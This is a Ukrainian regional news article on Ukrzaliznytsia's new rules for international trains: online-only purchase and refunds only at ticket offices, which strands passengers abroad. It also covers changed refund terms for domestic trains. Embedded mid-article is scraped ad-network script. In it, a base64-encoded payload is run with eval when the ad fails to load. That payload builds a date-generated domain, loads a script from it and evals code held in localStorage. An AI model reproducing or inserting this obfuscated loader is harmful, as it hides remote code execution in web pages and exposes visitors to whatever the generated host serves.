Укрзалізниця ввела обмеження щодо продажу квитків на міжнародні рейси, а також змінила правила повернення квитків. Багато пасажирів залишилися незадоволеними цим нововведенням, зокрема ті, хто хоче купити квитки з-за кордону в Україну.
Як інформує «biz.today.ua», Укрзалізниця визначила чіткий перелік потягів, купити квитки на які можна лише онлайн, а повернути лише через касу.
До таких поїздів належать:
№67/68 Київ-Варшава;№73/74 Харків-Перемишль;№36/35 Одеса-Перемишль;№32/31 Запоріжжя-Перемишль;№ 23/24 та №19/20 Київ-Хелм;№351К/351Л Київ-Кишинів;№53/54 та №89/90 Київ-Перемишль;№93/94 Харків-Хелм;№705/706, №715/716 Київ-Перемишль.
Так, якщо українець у Польщі купив квиток до Києва, проте його плани змінилися — повернути гроші за квитки не вийде, адже ця послуга тепер доступна тільки через касу, а здійснити повернення у фізичній касі Укрзалізниці пасажир також не зможе, адже на станціях за кордоном немає представництв компанії перевізника. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Також за новими правилами люди, які з певних причин не мають доступу до інтернету, не можуть купити квитки на міжнародні потяги. Сплатити готівкою квитки теж не вдасться.
Згідно з умовами повернення квитків на внутрішні рейси Укрзалізниці, з квітня 2023 року пасажирам повертають повну вартість за купе та половину вартості плацкарту. Це за умови, що вони повернуть квиток до каси або онлайн не пізніше ніж за 6 годин до відправлення поїзда.
Також Укрзалізниця почала повертати повну вартість квитка, навіть якщо ви запізнилися на поїзд (крім квитка на плацкарт). Раніше компанія компенсувала лише 10% від ціни. Повернення можна оформити лише у касі. (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/pasazhiri-ne-mozhut-povernuti-kvitki-novi-pravila-ukrzaliznitsi/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
